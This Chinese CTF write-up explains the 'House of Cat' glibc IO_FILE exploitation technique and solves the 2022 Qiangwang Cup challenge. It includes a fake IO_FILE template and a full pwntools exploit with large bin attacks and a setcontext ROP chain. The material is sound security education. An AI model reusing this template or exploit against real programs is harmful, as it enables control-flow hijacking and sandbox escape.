House of cat新型glibc中IO利用手法解析 & 第六屆強網杯House of cat詳解
House of Cat
5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本(包括glibc2.35),命名為House of cat并出在2022強網杯中。
簡介
House of emma是glibc2.34下常用的攻擊手法之一,利用條件只需任意寫一個可控地址就可以控制程序執行流,攻擊威力十分強大。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。
House of Cat利用了House of emma的虛表偏移修改思想,通過修改虛表指針的偏移,避免了對需要繞過TLS上 _pointer_chk_guard的檢測相關的IO函數的調用,轉而調用_IO_wfile_jumps中的_IO_wfile_seekoff函數,然后進入到_IO_switch_to_wget_mode函數中來攻擊,從而使得攻擊條件和利用變得更為簡單。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可(通常是結合__malloc_assert,改vtable為_IO_wfile_jumps+0x10)。
利用條件
1.能夠任意寫一個可控地址。
2.能夠泄露堆地址和libc基址。
3.能夠觸發IO流(FSOP或觸發__malloc_assert),執行IO相關函數
利用原理
IO_FILE結構及利用
在高版本libc中,當攻擊條件有限(如不能造成任意地址寫)或者libc版本中無hook函數(libc2.34及以后)時,偽造fake_IO進行攻擊是一種常見可行的攻擊方式,常見的觸發IO函數的方式有FSOP、__malloc_assert,當進入IO流時會根據vtable指針調用相關的IO函數,如果在題目中造成任意地址寫一個可控地址(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache),然后偽造fake_IO結構體配合恰當的IO調用鏈,可以達到控制程序執行流的效果。
vtable檢查
在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
void _IO_vtable_check (void) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable;}
其檢查流程為:計算_IO_vtable 段的長度(section_length),用當前虛表指針的地址減去_IO_vtable 段的開始地址,如果vtable相對于開始地址的偏移大于等于section_length,那么就會進入_IO_vtable_check進行更詳細的檢查,否則的話會正常調用。如果vtable是非法的,進入_IO_vtable_check函數后會觸發abort。
雖然對vtable的檢查較為嚴格,但是對于具體位置和具體偏移的檢測則是較為寬松的,可以修改vtable指針為虛表段內的任意位置,也就是對于某一個_IO_xxx_jumps的任意偏移,使得其調用攻擊者想要調用的IO函數。
__malloc_assert與FSOP
在glibc中存在一個函數_malloc_assert,其中會根據vtable表如_IO_xxx_jumps調用IO等相關函數;該函數最終會根據stderr這個IO結構體進行相關的IO操作。

代碼如下:
static void__malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){ (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort ();}
house of kiwi提供了一種調用該函數的思路,可以通過修改topchunk的大小觸發,即滿足下列條件中的一個:
1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位為0
3.old_top頁未對齊
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
下面介紹另一種觸發house of cat的方式FSOP。
程序中所有的_IO_FILE 結構用_chain連接形成一個單鏈表,鏈表的頭部則是_IO_list_all。
FSOP就是通過劫持_IO_list_all的值(如large bin attack修改)來執行_IO_flush_all_lockp函數,這個函數會根據_IO_list_all刷新鏈表中的所有文件流,在libc中代碼如下,其中會調用vtable中的IO函數_IO_OVERFLOW,根據我們上面所說的虛表偏移可變思想,這個地方的虛表偏移也是可修改的,然后配合偽造IO結構體可以執行house of cat的調用鏈。
int_IO_flush_all_lockp (int do_lock){ ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... }}
觸發條件則是有三種情況。
FSOP有三種情況(能從main函數中返回、程序中能執行exit函數、libc中執行abort),第三種情況在高版本中已經刪除;__malloc_assert則是在malloc中觸發,通常是修改top chunk的大小。
一種可行的IO調用鏈
在_IO_wfile_jumps結構體中,會根據虛表進行相關的函數調用。
const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue)};
其中_IO_wfile_seekoff函數代碼如下:
off64_t_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){ off64_t result; off64_t delta, new_offset; long int count; if (mode == 0) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));#需要繞過was_writing的檢測 bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF;......}
其中fp結構體是我們可以偽造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base來調用_IO_switch_to_wget_mode這個函數,繼續跟進代碼。
int_IO_switch_to_wget_mode (FILE *fp){ if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ......}
而_IO_WOVERFLOW是glibc里定義的一個宏調用函數。
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
對_IO_WOVERFLOW沒有進行任何檢測,為了便于理解,我們再來看看匯編代碼。
? 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
主要關注這幾句,做了以下幾點事情:
1.將[rdi+0xa0]處的內容賦值給rax,為了避免與下面的rax混淆,稱之為rax1。
2.將新賦值的[rax1+0x20]處的內容賦值給rdx。
3.將[rax1+0xe0]處的內容賦值給rax,稱之為rax2。
4.call調用[rax2+0x18]處的內容。
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
而rdi現在是什么狀態呢?gdb調試來看看。

可以看到這是一個堆地址,而實際上此時rdi就是偽造的IO結構體的地址,也是可控的。
在造成任意地址寫一個堆地址的基礎上,這里的寄存器rdi(fake_IO的地址)、rax和rdx都是我們可以控制的,在開啟沙箱的情況下,假如把最后調用的[rax + 0x18]設置為setcontext,把rdx設置為可控的堆地址,就能執行srop來讀取flag;如果未開啟沙箱,則只需把最后調用的[rax + 0x18]設置為system函數,把fake_IO的頭部寫入/bin/sh字符串,就可執行system("/bin/sh")。
fake_IO結構體需要繞過的檢測
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end_wide_data->_IO_write_ptr > _wide_data->_IO_write_base#如果_wide_data=fake_io_addr+0x30,其實也就是fp->_IO_save_base < f->_IO_backup_basefp->_lock是一個可寫地址(堆地址、libc中的可寫地址)
攻擊流程
1.修改_IO_list_all為可控地址(FSOP)或修改stderr為可控地址(__malloc_assert)。
2.在上一步的可控地址中偽造fake_IO結構體(也可以在任意地址寫的情況下修改stderr、stdout等結構體)。
3.通過FSOP或malloc觸發攻擊。
為了便于理解,畫個圖:

模板
house of cat的模板,原理參照上圖。偽造IO結構體時只需修改fake_io_addr地址,_IO_save_end為想要調用的函數,_IO_backup_base為執行函數時的rdx,以及修改_flags為執行函數時的rdi。
fake_io_addr=heapbase+0xb00 # 偽造的fake_IO結構體的地址next_chain = 0fake_IO_FILE=p64(rdi) #_flags=rdifake_IO_FILE+=p64(0)*7fake_IO_FILE +=p64(1)+p64(0)fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdxfake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')fake_IO_FILE += p64(0) # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable addressfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrfake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')fake_IO_FILE += p64(0)fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
2022強網杯 house of cat
保護與沙箱


保護全開,禁用了execve還檢查了read的fd。
分析


main函數在每一次循環開始有對tcache_bins的賦值,相當于不讓打tcache_bins造成任意地址寫。

sub_1A50函數對輸入的cmd進行了格式檢查,返回值部位0才能進入到do_cmd,do_cmd則是能夠執行到堆塊管理結構,先來看sub_1A50,為了便于查看,這里用代碼展示:
__int64 __fastcall sub_1A50(char *a1, __int64 a2){ char *s; // [rsp+18h] [rbp-28h] char *v4; // [rsp+20h] [rbp-20h] char *v5; // [rsp+20h] [rbp-20h] char *v6; // [rsp+20h] [rbp-20h] const char *s2; // [rsp+28h] [rbp-18h] char *v8; // [rsp+30h] [rbp-10h] const char *s1; // [rsp+38h] [rbp-8h] v4 = strstr(a1, "QWB"); if ( !v4 ) return 0LL; //包含 QWB,否則返回0也就是不能執行do_cmd *v4 = 0; v4[1] = 0; v4[2] = 32; v5 = v4 + 3; s2 = strtok(a1, " "); //用空格分隔開 if ( !strcmp("LOGIN", s2) ) { *(_BYTE *)(a2 + 8) = 1; } else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) ) return 0LL; *(_BYTE *)(a2 + 8) = 10; } else { *(_BYTE *)(a2 + 8) = 9; } } else { *(_BYTE *)(a2 + 8) = 8; } } else { *(_BYTE *)(a2 + 8) = 7; } } else { *(_BYTE *)(a2 + 8) = 6; } } else { *(_BYTE *)(a2 + 8) = 5; } } else { *(_BYTE *)(a2 + 8) = 4; } } else { *(_BYTE *)(a2 + 8) = 3; } } else { *(_BYTE *)(a2 + 8) = 2; } v8 = strtok(0LL, " "); if ( v8 != strchr(v8, '|') )//查找'|'的第一個匹配之處 return 0LL; *(_QWORD *)a2 = v8; s1 = strtok(0LL, " "); if ( strcmp(s1, "r00t") ) //比較'r00t’的存在 return 0LL; s = v5 + 5; v6 = strstr(v5, "QWXF");//檢查是否有'QWXF' if ( !v6 ) return 0LL; *v6 = 0; v6[1] = 0; v6[2] = 0; v6[3] = 32; *(_QWORD *)(a2 + 16) = s; return 1LL;}
再來看看do_cmd函數:
__int64 __fastcall sub_1DF3(__int64 a1){ __int64 result; // rax unsigned int v2; // eax char *v3; // [rsp+18h] [rbp-8h] if ( *(_BYTE *)(a1 + 8) == 1 && !strcmp(*(const char **)(a1 + 16), "admin") ) dword_4040[0] = 1;//login result = *(unsigned __int8 *)(a1 + 8); if ( (_BYTE)result == 3 ) { result = (__int64)strtok(*(char **)(a1 + 16), "$"); v3 = (char *)result; if ( result ) { result = dword_4014;// if ( *v3 == dword_4014 ) { result = dword_4040[0]; if ( dword_4040[0] ) { menu(); v2 = getnumber(); if ( v2 == 4 ) { return edit(); } else { if ( v2 <= 4 ) { switch ( v2 ) { case 3u: return show(); case 1u: return add(); case 2u: return delete(); } } return output("error!\n"); } } } } } return result;}; if ( *v3 == dword_4014 )//dword_4014檢查是否為0xffffffff { result = dword_4040[0];//dword_4040[0]檢查是否login if ( dword_4040[0] ) { menu(); v2 = getnumber(); if ( v2 == 4 ) { return edit(); } else { if ( v2 <= 4 ) { switch ( v2 ) { case 3u: return show(); case 1u: return add(); case 2u: return delete(); } } return output("error!\n"); } } } } } return result;}
這里需要了解一下strtok等幾個函數的作用,可以gdb動態調試結合靜態逆向,不再贅述。首先我們需要login,然后再進入堆塊管理函數,格式為:
LOGIN | r00t QWB QWXFadminCAT | r00t QWB QWXF$\xff
重點看一下堆塊管理函數。

add函數,calloc申請堆塊,大小在0x418-0x470之間。

delete函數有UAF。

edit函數只能編寫48個字節(防止UAF造成溢出),且只有2次機會。
利用
無法退出main函數,也沒有exit等能造成FSOP的方式,但是stderr不在bss上而在libc中,可以在得到libc地址后large bin attack位于libc中的stderr,再在得到heap地址的基礎上修改top chunk的size,這里用large bin attack修改。所以兩次edit相當于給了兩次large bin attack的機會,一次用來large bin attack stderr,一次用來large bin attack topchunk's size。另外由于對fd的檢查,需要close(0)使flag文件的文件描述符為0,或者用mmap函數將flag映射讀入。
1.泄露libc地址和堆地址
2.large bin attack stderr
3.large bin attack topchunk's size
4.偽造fake_IO
5.觸發__malloc_assert,進入_IO_wfile_seekoff轉到_IO_switch_to_wget_mode
6.setcontext執行rop鏈
exp
from pwn import *p=process('./houseofcat')libc=ELF('./libc.so.6')context.log_level='debug'r = lambda x: p.recv(x)ra = lambda: p.recvall()rl = lambda: p.recvline(keepends=True)ru = lambda x: p.recvuntil(x, drop=True)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)ia = lambda: p.interactive()c = lambda: p.close()li = lambda x: log.info(x)db = lambda: gdb.attach(p)sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')def add(idx,size,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(idx)) sla('plz input your cat size:\n',str(size)) sa('plz input your content:\n',cont)def delete(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(2)) sla('plz input your cat idx:\n',str(idx))def show(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(3)) sla('plz input your cat idx:\n',str(idx))def edit(idx,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(4)) sla('plz input your cat idx:\n',str(idx)) sa('plz input your content:\n', cont)#gdb.attach(p,'b* $rebase(0x1DDD)')add(0,0x420,'aaa')add(1,0x430,'bbb')add(2,0x418,'ccc')delete(0)add(3,0x440,'ddd')show(0)ru('Context:\n')libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0info('libc->'+hex(libcbase))rdi=libcbase+0x000000000002a3e5rsi=libcbase+0x000000000002be51rdxr12=libcbase+0x000000000011f497ret=libcbase+0x0000000000029cd6rax=libcbase+0x0000000000045eb0stderr=libcbase+libc.sym['stderr']setcontext=libcbase+libc.sym['setcontext']close=libcbase+libc.sym['close']read=libcbase+libc.sym['read']write=libcbase+libc.sym['write']syscallret=libcbase+libc.search(asm('syscall\nret')).next()p.recv(10)heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x290info('heap->'+hex(heapaddr))#fake IOioaddr=heapaddr+0xb00next_chain = 0fake_IO_FILE = p64(0)*4fake_IO_FILE +=p64(0)fake_IO_FILE +=p64(0)fake_IO_FILE +=p64(1)+p64(0)fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdxfake_IO_FILE +=p64(setcontext+61)#call addrfake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')fake_IO_FILE += p64(0 ) # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')fake_IO_FILE += p64(heapaddr+0x200) # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')fake_IO_FILE +=p64(heapaddr+0xb30) #rax1fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')fake_IO_FILE += p64(0) # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')fake_IO_FILE += p64(libcbase+0x2160d0) # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(heapaddr+0xb30+0x10) # rax2flagaddr=heapaddr+0x17d0payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)delete(2)add(6,0x418,payload1)delete(6)#large bin attack stderr poiniteredit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))add(5,0x440,'aaaaa')add(7,0x430,'flag')add(8,0x430,'eee')#roppayload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)add(9,0x430,payload)delete(5)add(10,0x450,p64(0)+p64(1))delete(8)# large bin attack topchunk's sizeedit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))#trigger __malloc_assertsa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n',str(1))sla('plz input your cat idx:',str(11))gdb.attach(p,'b* (_IO_wfile_seekoff)')sla('plz input your cat size:',str(0x450))p.interactive()

結語
在2022強網杯比賽中,由于一位大佬在前一天提供了另一種攻擊手法,并且也可以用堆風水結合house of emma進行攻擊,導致這道題目難度降低了很多。
順便說一下,house of apple2和house of emma也是優秀的攻擊手法,但是強網杯house of cat這道題目本意不是通過現成的攻擊方式來利用,而是考察現找IO鏈的能力,題目解法不限于一種,感興趣的師傅可以自行去研究其他的攻擊方式。